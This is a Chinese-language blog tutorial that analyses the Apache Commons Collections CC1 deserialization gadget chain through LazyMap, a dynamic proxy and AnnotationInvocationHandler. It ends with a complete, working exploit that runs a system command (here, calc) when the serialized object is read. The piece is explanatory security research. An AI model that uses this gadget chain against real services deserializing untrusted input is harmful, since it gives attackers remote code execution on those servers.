当前位置： 首页 > article >正文

Java安全 CC链1分析(Lazymap类)

article 2024/12/25 15:36:45

Java安全 CC链1分析

  • 前言
  • CC链分析
    • CC链1核心
    • LazyMap类
    • AnnotationInvocationHandler类
  • 完整exp：

前言

在看这篇文章前，可以看下我的上一篇文章，了解下cc链1的核心与环境配置

Java安全 CC链1分析

前面我们已经讲过了CC链1的核心ChainedTransformer的transform链，并且用到了TransformedMap类中的方法触发了这条链transform的方法，但是还有一条链可以触发其transform方法，这条链用到了 LazyMap类

这条链用到了大量的反射与代理的知识，建议在看本文章前需要提前补充或复习

CC链分析

CC链1核心

首先我们回顾下cc链1的核心

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法
    }
}

我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法，从而遍历循环直到命令执行。

LazyMap类

我们首先还是选中 transform 方法，右键选择查找用法

这次我们来到了 LazyMap 类当中的 get 方法
1707649096767.png
LazyMap类中的get方法的代码如下

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key); //关键
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

经分析得，当满足map.containsKey(key) == false时，便会执行factory对象的transform方法

要想满足该语句，我们传入一个map数组中不存在的key键名即可

接下来我们看下 LazyMap 类的构造方法如下

protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = FactoryTransformer.getInstance(factory);
}

发现 get 方法中的 factory 变量是可控的，可以赋值为上文的transformerChain 对象(cc链1核心),但是该构造方法是受保护的类型，并不能直接调用创建对象

然后我们往上找到了 decorate 方法，代码如下

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

发现可以通过调用这个静态方法，获得一个 LazyMap 对象，并且 map 和 factory 参数可控，这样如何获取 LazyMap 对象的问题便得到解决

我们先写一个demo试试这里的get方法是否真的可以触发cc链1

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class main2{
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);
        decorate.get("key");
    }
}

可以看到demo成功运行弹出计算器

1707649176962.png

AnnotationInvocationHandler类

接下来我们寻找如何触发 LazyMap 对象的get方法，我们同样右键查看用法，可以看到结果有很多，为了节约时间我们直接来到AnnotationInvocationHandler类

路径如下

外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类

1707649207381.png

AnnotationInvocationHandler类在 TransformedMap类所触发的cc链1中用到过，这里我们用到其 invoke 方法，该方法关键代码如下

public Object invoke(Object proxy, Method method, Object[] args) {
   String member = method.getName();
   Class<?>[] paramTypes = method.getParameterTypes();
   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");
    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }
    // Handle annotation member accessors
    Object result = memberValues.get(member);

经分析，我们需要满足前两条 if 语句，才会触发 memberValues 对象的get方法，否则会提前返回值

第一个if：

   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if：

if (paramTypes.length != 0)

我们无参调用方法即可绕过

接下来我们分析如何将 LazyMap对象赋值给该类的 memberValues变量，我们查看构造方法，发现该方法是私有的，我们无法调用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

然后我们看一下invoke方法所属类的定义，如下：

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ……
}

发现这个类接口了 InvocationHandler，代表该类可以作为动态代理的代理处理器，只要接口了InvocationHandler接口，就必须重写 invoke 方法，并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。

也就是说我们只需要创建一个 代理对象，通过反射让其代理处理器为AnnotationInvocationHandler类，然后无参调用代理对象的任意方法，即可触发invoke方法

在Java的动态代理机制中，在执行代理对象中的方法之前，会自动执行其代理处理器中的invoke方法

这样触发 invoke 方法的问题便解决了，接下来我们只需创建一个使用AnnotationInvocationHandler类作为处理器的代理对象，并无参调用该代理对象中的方法即可，创建代理对象代码如下

Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);

接下来便是要解决——如何无参调用proxyInstance代理对象中的方法

这里实际上只要是找到无参调用对象中方法的地方即可，不限制在哪个类，但终点要为readObject方法

然后我们就近在这个类中，寻找一个无参调用memberValues中方法的方法，我们往下找到了readObject方法，其所用到的关键代码，还是和TransformedMap类所触发的cc链1中一样，为下面的for循环

找到readObject方法也就意味着找到了cc链1的起点

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

我们发现该语句可实现对memberValues变量中的方法实现无参调用

Object value = memberValue.getValue();

但是我们发现AnnotationInvocationHandler类是私有的，我们可以通过反射获取构造方法进而初始化，然后构造函数的memberValue变量值设置为我们的代理对象即可

整理下思路 我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyInstance，然后又通过反射创建了一个AnnotationInvocationHandler对象，并将成员属性设置为代理对象proxyInstance，目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象proxyInstance（memberValues变量）实现无参调用，从而触发代理处理器AnnotationInvocationHandler类中的invoke方法，进而触发get方法，最后触发transform方法，从而实现cc链1

完整exp：

cc链1(Lazymap)完整exp：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc11 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动计算器
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        //使用chainedTransformer装饰HashMap生成新的Map
        Map decorate = LazyMap.decorate(hash, chainedTransformer);

        //通过反射获取AnnotationInvocationHandler类的构造方法
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置构造方法为可访问的
        constructor.setAccessible(true);
        //通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);

        //创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance
        Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
        //再次通过反射创建代理对象
        Object o = constructor.newInstance(Override.class, proxyInstance);

        serialize(o);
        unserialize("1.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

运行成功弹出计算器
1707649289145.png


http://www.kler.cn/a/234753.html

相关文章：

  • 【每日学点鸿蒙知识】AVCodec、SmartPerf工具、web组件加载、监听键盘的显示隐藏、Asset Store Kit
  • Charles安装证书过程（手机）
  • Spring Boot 中的 @Scheduled 定时任务以及开关控制
  • 【恶意软件检测】一种基于API语义提取的Android恶意软件检测方法（期刊等级：CCF-B、Q2）
  • 算法，递归和迭代
  • 每天40分玩转Django：Django部署
  • 防火墙的区域隔离
  • 操作系统——内存管理(附带Leetcode算法题LRU)
  • Xcode配置GLFW GLAD (MAC)
  • MongoDB聚合：$unionWith
  • 数据库恢复
  • 【EAI 020】Diffusion Policy: Visuomotor Policy Learning via Action Diffusion
  • 14.1 OpenGL图元装配和光栅化：在光栅化之前丢弃图元
  • 问题排查利器 - 分布式 trace
  • BKP寄存器与RTC实时时钟
  • Mac中管理多版本Jdk
  • Django前后端分离之后端实践2
  • LeetCode跳跃游戏 VI
  • 【linux系统体验】-archlinux简易折腾
  • c# avalonia 实现正方体翻转效果
  • 探索数据可视化：Matplotlib在Python中的高效应用
  • python+flask+django医院预约挂号病历分时段管理系统snsj0
  • uniapp微信小程序开发踩坑日记：Pinia持久化
  • 【Linux】Linux下的基本指令
  • 瓦片边移动边绘制的性能优化
  • RPA财务机器人之UiPath实战 - 自动化操作Excel进行财务数据汇总与分析之流程建立与数据读取、处理、汇总、分析